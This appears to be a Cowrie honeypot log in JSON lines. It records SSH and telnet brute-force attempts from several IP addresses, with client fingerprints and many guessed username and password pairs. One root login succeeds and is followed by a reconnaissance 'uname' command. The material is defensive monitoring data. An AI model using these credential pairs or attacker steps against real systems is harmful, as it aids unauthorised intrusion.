{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:45.174977Z","src_ip":"213.209.159.158","session":"161b415c2c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:45.178444Z","src_ip":"213.209.159.158","session":"161b415c2c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bananapi","password":"bananapi","message":"login attempt [bananapi/bananapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:55.213363Z","src_ip":"213.209.159.158","session":"161b415c2c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:58.556918Z","src_ip":"213.209.159.158","session":"161b415c2c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32028,"dst_ip":"10.17.0.5","dst_port":22,"session":"2250f8955471","protocol":"ssh","message":"New connection: 213.209.159.158:32028 (10.17.0.5:22) [session: 2250f8955471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:58.678632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:01.414177Z","src_ip":"213.209.159.158","session":"2250f8955471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:01.417721Z","src_ip":"213.209.159.158","session":"2250f8955471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":32966,"dst_ip":"159.203.135.109","dst_port":23,"session":"234e1d74c875","protocol":"telnet","message":"New connection: 3.130.168.2:32966 (159.203.135.109:23) [session: 234e1d74c875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:07.949666Z"}
{"eventid":"cowrie.session.closed","duration":0.12512826919555664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:08.074661Z","src_ip":"3.130.168.2","session":"234e1d74c875","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"alfresco","password":"123456","message":"login attempt [alfresco/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:11.136468Z","src_ip":"213.209.159.158","session":"2250f8955471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b5e6e3a8fe0","protocol":"ssh","message":"New connection: 142.93.139.168:39988 (10.17.0.5:22) [session: 6b5e6e3a8fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:12.950116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:12.954524Z","src_ip":"142.93.139.168","session":"6b5e6e3a8fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:13.032816Z","src_ip":"142.93.139.168","session":"6b5e6e3a8fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weth","password":"Weth2017","message":"login attempt [weth/Weth2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:13.193575Z","src_ip":"142.93.139.168","session":"6b5e6e3a8fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:14.274631Z","src_ip":"142.93.139.168","session":"6b5e6e3a8fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:14.656516Z","src_ip":"213.209.159.158","session":"2250f8955471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58478,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8dc2c8a4a0f","protocol":"ssh","message":"New connection: 2.57.122.238:58478 (10.17.0.5:22) [session: b8dc2c8a4a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:20.396699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:20.399777Z","src_ip":"2.57.122.238","session":"b8dc2c8a4a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:20.498168Z","src_ip":"2.57.122.238","session":"b8dc2c8a4a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:20.795333Z","src_ip":"2.57.122.238","session":"b8dc2c8a4a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:21.896350Z","src_ip":"2.57.122.238","session":"b8dc2c8a4a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18092,"dst_ip":"10.17.0.5","dst_port":22,"session":"d873a5f1f96e","protocol":"ssh","message":"New connection: 213.209.159.158:18092 (10.17.0.5:22) [session: d873a5f1f96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:22.100590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:23.811715Z","src_ip":"213.209.159.158","session":"d873a5f1f96e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:23.816736Z","src_ip":"213.209.159.158","session":"d873a5f1f96e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"alice1","message":"login attempt [alice/alice1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:32.588830Z","src_ip":"213.209.159.158","session":"d873a5f1f96e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":59666,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce84d49041de","protocol":"telnet","message":"New connection: 3.130.168.2:59666 (10.17.0.5:23) [session: ce84d49041de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:34.066465Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:34.070595Z","src_ip":"3.130.168.2","session":"ce84d49041de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:34.073323Z","src_ip":"3.130.168.2","session":"ce84d49041de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:34.076035Z","src_ip":"3.130.168.2","session":"ce84d49041de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.030214548110961914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:34.096552Z","src_ip":"3.130.168.2","session":"ce84d49041de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:52.931984Z","src_ip":"213.209.159.158","session":"d873a5f1f96e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23194,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e0bf9c7a542","protocol":"ssh","message":"New connection: 213.209.159.158:23194 (10.17.0.5:22) [session: 7e0bf9c7a542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:53.211903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:54.674277Z","src_ip":"213.209.159.158","session":"7e0bf9c7a542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:17:54.677376Z","src_ip":"213.209.159.158","session":"7e0bf9c7a542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwadmin","password":"123456","message":"login attempt [wwadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:02.776773Z","src_ip":"213.209.159.158","session":"7e0bf9c7a542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":49428,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff1fd274e38","protocol":"ssh","message":"New connection: 92.118.39.95:49428 (159.203.135.109:22) [session: eff1fd274e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:05.382771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:05.386532Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:05.450627Z","src_ip":"213.209.159.158","session":"7e0bf9c7a542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:05.485304Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ethereum","message":"login attempt [root/ethereum] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:05.782857Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:06.019870Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:06.023621Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:06.126384Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:06.131262Z","src_ip":"92.118.39.95","session":"eff1fd274e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31126,"dst_ip":"10.17.0.5","dst_port":22,"session":"6345e3ab6173","protocol":"ssh","message":"New connection: 213.209.159.158:31126 (10.17.0.5:22) [session: 6345e3ab6173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:06.711982Z"}
